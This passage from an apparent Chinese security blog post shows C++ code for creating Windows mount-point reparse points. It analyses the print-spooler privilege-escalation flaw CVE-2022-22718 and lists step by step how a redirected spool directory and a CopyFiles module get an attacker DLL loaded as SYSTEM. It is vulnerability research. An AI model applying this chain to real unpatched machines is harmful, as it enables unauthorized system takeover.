class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">std::wstring target = <span class="built_in">FixupPath</span>(wszTargetFullDir);</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> target_byte_size = target.<span class="built_in">size</span>() * <span class="number">2</span>;</span><br><span class="line"><span class="comment">// print name the symbolic show name,it&#x27;s not necessary</span></span><br><span class="line">std::wstring printname = <span class="string">L&quot;&quot;</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> printname_byte_size = printname.<span class="built_in">size</span>() * <span class="number">2</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> path_buffer_size = target_byte_size + printname_byte_size + <span class="number">4</span> + <span class="number">8</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;</span><br></pre></td></tr></table></figure><p>其中<code>printname_byte_size</code>之所以还要跟着<code>4+8</code>是因为，首先路径末尾需要预留<code>\0</code>的位置（Unicode所以是2个字节大小）然后成员变量里面有两个Unicode对象，所以需要4，而8则是来自<code>ntoskrnl!FsRtlValidateReparsePointBuffer</code>的分析和调试。之后写如下逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">buffer-&gt;ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;</span><br><span class="line">buffer-&gt;ReparseDataLength = <span class="built_in">static_cast</span>&lt;USHORT&gt;(path_buffer_size);</span><br><span class="line">buffer-&gt;Reserved = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">buffer-&gt;MountPointReparseBuffer.SubstituteNameOffset = <span class="number">0</span>;</span><br><span class="line">buffer-&gt;MountPointReparseBuffer.SubstituteNameLength = <span class="built_in">static_cast</span>&lt;USHORT&gt;(target_byte_size);</span><br><span class="line"><span class="built_in">memcpy</span>(buffer-&gt;MountPointReparseBuffer.PathBuffer, target.<span class="built_in">c_str</span>(), target_byte_size + <span class="number">2</span>);</span><br><span class="line">buffer-&gt;MountPointReparseBuffer.PrintNameOffset = <span class="built_in">static_cast</span>&lt;USHORT&gt;(target_byte_size + <span class="number">2</span>);</span><br><span class="line">buffer-&gt;MountPointReparseBuffer.PrintNameLength = <span class="built_in">static_cast</span>&lt;USHORT&gt;(printname_byte_size);</span><br><span class="line"><span class="built_in">memcpy</span>(buffer-&gt;MountPointReparseBuffer.PathBuffer + target.<span class="built_in">size</span>() + <span class="number">1</span>, printname.<span class="built_in">c_str</span>(), printname_byte_size + <span class="number">2</span>);</span><br></pre></td></tr></table></figure><p>由于<code>PrintName</code>只是一个展示的数据，所以这个位置的数据可以为空字符串。</p><p>之后对之前打开的<code>Reparse</code>文件描述符，使用IOCTL发送请求数据:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">bool</span> ret = <span class="built_in">DeviceIoControl</span>(handle, FSCTL_SET_REPARSE_POINT,</span><br><span class="line">reparse_buffer, dwReparseSize, <span class="literal">nullptr</span>, <span class="number">0</span>, &amp;cb, <span class="literal">nullptr</span>) == TRUE;</span><br><span class="line"><span class="keyword">if</span> (!ret)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;SetReparsePoint failed with error code:%d\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中<code>dwReparseSize</code>为之前算好的<code>total_size</code>，表示此时发送的数据大小。一旦调用成功之后，<code>srcPath</code>就会被设置成重解析点，此时就能够起到类似符号链接的作用:<br><img src="/2022/02/27/Windows-Reparse-Point/res02.png" alt=""><br>未设置重解析点<br><img src="/2022/02/27/Windows-Reparse-Point/res03.png" alt=""><br>设置了重解析点<br><img src="/2022/02/27/Windows-Reparse-Point/res04.png" alt=""><br>图标发生了变化</p><p>可以看到，设置重解析点之后，<code>srcDir</code>拥有了一个link属性，此时再srcDir中创建的所有文件其实等价于再targetDir中创建文件。</p><p>当完成了工作之后，可以通过如下的方式将这个重解析数据头删除:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">buffer-&gt;ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;</span><br><span class="line">buffer-&gt;ReparseDataLength = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> ret = <span class="literal">false</span>;</span><br><span class="line">DWORD dwIOCTLOutSize = <span class="number">0</span>;</span><br><span class="line">ret = <span class="built_in">DeviceIoControl</span>(hSrc, FSCTL_DELETE_REPARSE_POINT, buffer,</span><br><span class="line">REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, <span class="literal">NULL</span>, <span class="literal">NULL</span>, &amp;dwIOCTLOutSize, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (!ret)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Reset the Reparse Point failed with error:%d\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="关于cve的相关分析">关于CVE的相关分析</h2><p><code>CVE-2022-22718</code>其实是关于<code>printer</code>一个老漏洞<code>CVE-2020–1030</code>的一个新的思路。这里简单介绍一下漏洞详情，以及上述提到的重解析漏洞在这个地方的利用方式。</p><h3 id="漏洞成因">漏洞成因</h3><p><img src="/2022/02/27/Windows-Reparse-Point/res05.png" alt=""><br>实际控制的进程</p><p>核心原因在于：对于文件夹的权限检查和创建没有再同一个时刻完成。</p><p>出现问题的API是<code>SetPrinterDataEx</code></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">DWORD <span class="title">SetPrinterDataEx</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">  _In_ HANDLE  hPrinter,</span></span></span><br><span class="line"><span class="params"><span class="function">  _In_ LPCTSTR pKeyName,</span></span></span><br><span class="line"><span class="params"><span class="function">  _In_ LPCTSTR pValueName,</span></span></span><br><span class="line"><span class="params"><span class="function">  _In_ DWORD   Type,</span></span></span><br><span class="line"><span class="params"><span class="function">  _In_ LPBYTE  pData,</span></span></span><br><span class="line"><span class="params"><span class="function">  _In_ DWORD   cbData</span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br></pre></td></tr></table></figure><p>这个API实际上是一个COM调用，通过这个调用能够对打印机的一些注册表配置进行修改，其中修改的注册表其实就是左边<code>Printers</code>展开后的这些打印机<br><img src="/2022/02/27/Windows-Reparse-Point/res06.png" alt=""></p><p>由于调用这个API，需要用户对这个打印机存在<code>PRINTER_ACCESS_ADMINISTER </code>的权限。如果无法打开现有的打印机的话，可以通过添加一个新的打印机来规避这个权限的月书。调用这个API可以往这些位置添加对应的注册表项。</p><p>这个API在<code>SpoolDirectory</code>这个值设置的时候，首先会检查相关权限（COM调用的场合都是没问题的），之后会进入相关的逻辑如下:<br><img src="/2022/02/27/Windows-Reparse-Point/res07.png" alt=""></p><p>这个地方会尝试创建我们传入的目录，并且是具备可写的权限。如果可以创建，则检查这个文件的符号链接数量是否为1，具体逻辑如下</p><p><img src="/2022/02/27/Windows-Reparse-Point/res08.png" alt=""></p><p>首先调用<code>AdjustFileName</code>将路径调整为<code>CanonicalPath</code>，也就是如下的形式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\?\C:\\CanonicalPath</span><br></pre></td></tr></table></figure><p>然后调用下列逻辑，对当前的路径链接数进行比对</p><p><img src="/2022/02/27/Windows-Reparse-Point/res09.png" alt=""></p><p>或者这个文件之前就存在了，那么就会把这个路径写入注册表，否则就会离开当前逻辑。</p><p><img src="/2022/02/27/Windows-Reparse-Point/res10.png" alt=""></p><p>总结以下，上述的整体逻辑如下：</p><ul><li>检查当前写入<code>SpoolDirectory</code>的路径是否可以创建</li><li>如果可以创建，则创建路径，并且将这个路径写入注册表</li></ul><p>于是这里就出现了一个逻辑问题：对目录进行check的时候，和创建文件<strong>并不是发生在同一个时机</strong>，这里就存在一个类似竞争的问题。举个例子</p><ul><li>首先，我们假设我们可以写入的路径是<code>C:\\My\\Dir</code></li><li>我们将这个路径传入注册表，此时必然是可以通过检查的，包括是否可写，以及是否为符号链接</li><li>当调用玩<code>SetPrinterDataEx</code>函数之后，将这个路径用重解析的方式重定向到<code>C:\\Windows\\System32</code></li></ul><p>此时，<code>C:\\My\\Dir</code>其实本质上就指向了<code>C:\\Windows\\System32</code>。然后我们通过让spool进程重启，他就会去调用<code>BuildPrinterInfo</code> ,就会尝试将注册表中的路径读出来，并且尝试去创建对应的文件:<br><img src="/2022/02/27/Windows-Reparse-Point/res11.png" alt=""></p><p>于是通过<code>Repase Point</code>，我们就能够获得一个任意目录创建的机会。</p><h3 id="漏洞利用点">漏洞利用点</h3><p>通过上述方法，我们能够获得一个任意目录写的机会，那么如何利用这个漏洞呢？这个就要扯到打印机的一个特性:</p><ul><li>再任意一个打印机注册表目录项下，如果存在<code>CopyFiles</code>开头的键，那么这个键对应的<code>Modules</code>值中填写一个DLL路径，这个DLL将会被当前COM服务加载，并且load到打印机服务中。这个进程是SYSTEM权限。</li><li>打印机在加载DLL的时候，会在函数<code>IsModuleFilePathAllowed</code>检查加载的DLL路径是否为<code>C:\\Windows\\System32</code>或者<code>C:\Windows\System32\spool\drivers\&lt;ARCH&gt;</code>这两个目录，否则的话DLL不会加载。<br><img src="/2022/02/27/Windows-Reparse-Point/res12.png" alt=""></li><li>为了实现上一步，首先需要能够修改对应的Module值，然后需要能够往这个目录下写入DLL</li></ul><p>修改Module值可以用通过直接使用API<code>SetPrinterDataEx</code>进行调用。然而在这个过程中有一个小问题：在<code>BuildPrinterInfo</code>中，会检查注册表中读出来的路径，是否为<code>DriverPath</code>，而我们的目标就是<code>C:\Windows\System32\spool\drivers\&lt;ARCH&gt;</code>，也就是<code>DriverPath</code>，于是我们需要一个绕过的策略</p><p><img src="/2022/02/27/Windows-Reparse-Point/res13.png" alt=""></p><p>上图为匹配逻辑，可以很容易的发现，他这边是直接简单的比较路径，其中PrinterPathName就是<code>C:\Windows\System32\spool\drivers\&lt;ARCH&gt;</code>。</p><p>于是现在的问题变成：</p><ul><li>为了让<code>SplLoadLibraryTheCopyFileModule</code>加载DLL，我们的DLL路径必须要指向<code>C:\Windows\System32\spool\drivers\&lt;ARCH&gt;</code>。</li><li>为了让<code>BuildPrinterInfo</code>通过，此时我们利用任意文件创建的攻击原语(attack primitive)创建的路径必须与字符串字符串<code>C:\Windows\System32\spool\drivers\&lt;ARCH&gt;</code>不同</li></ul><p>可以看到，第二项check比较的是字符串，而第一项要求的只是路径能够只想对应位置的DLL，因为在这个<code>SplLoadLibraryTheCopyFileModule</code>加载逻辑如下:</p><p><img src="/2022/02/27/Windows-Reparse-Point/res14.png" alt=""></p><p>可以看到，在检查文件DLL是否合法（满足两个路径，就是<code>IsModuleFilePathAllowed</code>这个地方）之前，调用了一个关键函数<code>MakeCanonicalPath</code>，这个函数跟进去可以看到</p><p><img src="/2022/02/27/Windows-Reparse-Point/res15.png" alt=""></p><p>可以看到这边会尝试获取这个文件，并且调用<code>GetFinalPathNameByHandleW</code>，这个API的作用是能够<strong>解析符号链接</strong>，也就是说，在真正的检查之前，这个路径会被先<strong>规范化</strong>，比如说</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\My\Dir</span><br></pre></td></tr></table></figure><p>上述路径被我们用重解析点解析到了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\system32</span><br></pre></td></tr></table></figure><p>那么这个规范化解析就会变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\?\C:\Windows\system32</span><br></pre></td></tr></table></figure><p>然后实际<code>IsModuleFilePathAllowed</code>比较的时候会先比较前四个字节是否为<code>\\?\</code>,如果是的话，会对其进行跳过，然后比较之后的路径是否为<code>C:\Windows\system32</code>。</p><p>为了这里可以使用另一种路径的表达方式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\localhost\C$\spooldir\printers\</span><br></pre></td></tr></table></figure><p>根据文章提到的，在某些版本中比较路径的时候，在进行路径比较之前会将<code>\\?\</code>删除，所以这边如果使用上述的路径的话，当结构化处理的时候会转换成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\？\UNC\C:\spooldir\printers</span><br></pre></td></tr></table></figure><p>于是当进行比较的时候，就永远不会相等了。于是这一个攻击流程就是</p><ul><li>首先调用<code>SetPinterDataEx</code>设置<code>SpoolDirectory</code>，此时填入任意一个可控的目录的UNC目录，此时可以通过第一层check-&gt;符号链接数量为1</li><li>然后使用<code>ReparsePoint</code>，将路径重定向到<code>C:\Windows\system32\spool\driver\&lt;ARCH&gt;</code></li><li>然后第二次调用<code>SetPinterDataEx</code>,此时增添<code>\\CopyFiles</code>，并且指定DLL路径为<code>system32</code>下的<code>APPVTerminator.dll</code></li><li>程序重启，读取<code>SpoolDirectory</code>之后进行第二次比较，此时由于路径为UNC目录，可以绕过第二个比较-&gt;此时不能为print driver目录，并且创建对应的路径4</li><li>此时往重解析点中，新建的目录4为任意用户可写，于是把攻击用的dll写入</li><li>然后第二次调用<code>SetPinterDataEx</code>,此时增添<code>\\CopyFiles</code>，并且写入攻击dll，攻击完成</li></ul><p><img src="/2022/02/27/Windows-Reparse-Point/res16.png" alt=""><br><img src="/2022/02/27/Windows-Reparse-Point/res17.png" alt=""></p><p>修复后（修复后，在此处创建文件会提示没有权限，具体原因不明）<br>同时删除了<code>AppVTerminator.dll</code></p><h2 id="附录">附录</h2><h3 id="完整的reparse实验代码">完整的Reparse实验代码:</h3><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;Windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// Taken from ntifs.h</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SYMLINK_FLAG_RELATIVE   1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_REPARSE_DATA_BUFFER</span> &#123;</span><br><span class="line">ULONG  ReparseTag;</span><br><span class="line">USHORT ReparseDataLength;</span><br><span class="line">USHORT Reserved;</span><br><span class="line"><span class="keyword">union</span> &#123;</span><br><span class="line"><span class="keyword">struct</span> &#123;</span><br><span class="line">USHORT SubstituteNameOffset;</span><br><span class="line">USHORT SubstituteNameLength;</span><br><span class="line">USHORT PrintNameOffset;</span><br><span class="line">USHORT PrintNameLength;</span><br><span class="line">ULONG Flags;</span><br><span class="line">WCHAR PathBuffer[<span class="number">1</span>];</span><br><span class="line">&#125; SymbolicLinkReparseBuffer;</span><br><span class="line"><span class="keyword">struct</span> &#123;</span><br><span class="line">USHORT SubstituteNameOffset;</span><br><span class="line">USHORT SubstituteNameLength;</span><br><span class="line">USHORT PrintNameOffset;</span><br><span class="line">USHORT PrintNameLength;</span><br><span class="line">WCHAR PathBuffer[<span class="number">1</span>];</span><br><span class="line">&#125; MountPointReparseBuffer;</span><br><span class="line"><span class="keyword">struct</span> &#123;</span><br><span class="line">UCHAR  DataBuffer[<span class="number">1</span>];</span><br><span class="line">&#125; GenericReparseBuffer;</span><br><span class="line">&#125; DUMMYUNIONNAME;</span><br><span class="line">&#125; REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_MOUNT_POINT              (0xA0000003L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_HSM                      (0xC0000004L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DRIVE_EXTENDER           (0x80000005L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_HSM2                     (0x80000006L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_SIS                      (0x80000007L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_WIM                      (0x80000008L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_CSV                      (0x80000009L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DFS                      (0x8000000AL)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_FILTER_MANAGER           (0x8000000BL)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_SYMLINK                  (0xA000000CL)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_IIS_CACHE                (0xA0000010L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DFSR                     (0x80000012L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DEDUP                    (0x80000013L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_APPXSTRM                 (0xC0000014L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_NFS                      (0x80000014L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_FILE_PLACEHOLDER         (0x80000015L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DFM                      (0x80000016L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_WOF                      (0x80000017L)       <span class="comment">// winnt</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> g_last_error = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">CreateMyDirectory</span><span class="params">(<span class="type">const</span> WCHAR path[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">wprintf</span>(<span class="string">L&quot;Create Directory:%s\n&quot;</span>, path);</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">CreateDirectory</span>(path, <span class="literal">NULL</span>) || (<span class="built_in">GetLastError</span>() == ERROR_ALREADY_EXISTS))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function">HANDLE <span class="title">OpenReparsePoint</span><span class="params">(<span class="type">const</span> WCHAR path[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">HANDLE handle = <span class="built_in">CreateFile</span>(path,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line">FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,</span><br><span class="line"><span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (handle == INVALID_HANDLE_VALUE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Create Reparse Point failed with error code %d\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line"><span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> handle;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">SetReparsePoint</span><span class="params">(HANDLE handle, REPARSE_DATA_BUFFER* reparse_buffer, DWORD dwReparseSize)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD cb;</span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> ret = <span class="built_in">DeviceIoControl</span>(handle, FSCTL_SET_REPARSE_POINT,</span><br><span class="line">reparse_buffer, dwReparseSize, <span class="literal">nullptr</span>, <span class="number">0</span>, &amp;cb, <span class="literal">nullptr</span>) == TRUE;</span><br><span class="line"><span class="keyword">if</span> (!ret)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;SetReparsePoint failed with error code:%d\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">std::wstring <span class="title">FixupPath</span><span class="params">(std::wstring str)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">if</span> (str[<span class="number">0</span>] != <span class="string">&#x27;\\&#x27;</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">L&quot;\\??\\&quot;</span> + str;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> str;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;[+] Reparse Test! [+]&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"></span><br><span class="line">WCHAR wcsFullDir[MAX_PATH] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"><span class="built_in">GetCurrentDirectory</span>(MAX_PATH, wcsFullDir);</span><br><span class="line">WCHAR srcDir[] = <span 